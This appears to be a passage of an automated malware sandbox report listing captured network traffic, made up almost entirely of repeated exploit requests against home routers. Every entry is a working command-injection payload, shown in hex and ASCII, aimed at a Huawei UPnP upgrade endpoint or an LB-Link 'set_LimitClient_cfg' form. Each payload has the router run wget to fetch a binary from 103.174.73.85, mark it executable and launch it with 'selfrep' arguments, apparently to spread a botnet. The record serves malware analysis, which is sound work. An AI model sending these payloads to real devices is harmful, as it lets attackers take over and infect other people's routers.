73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
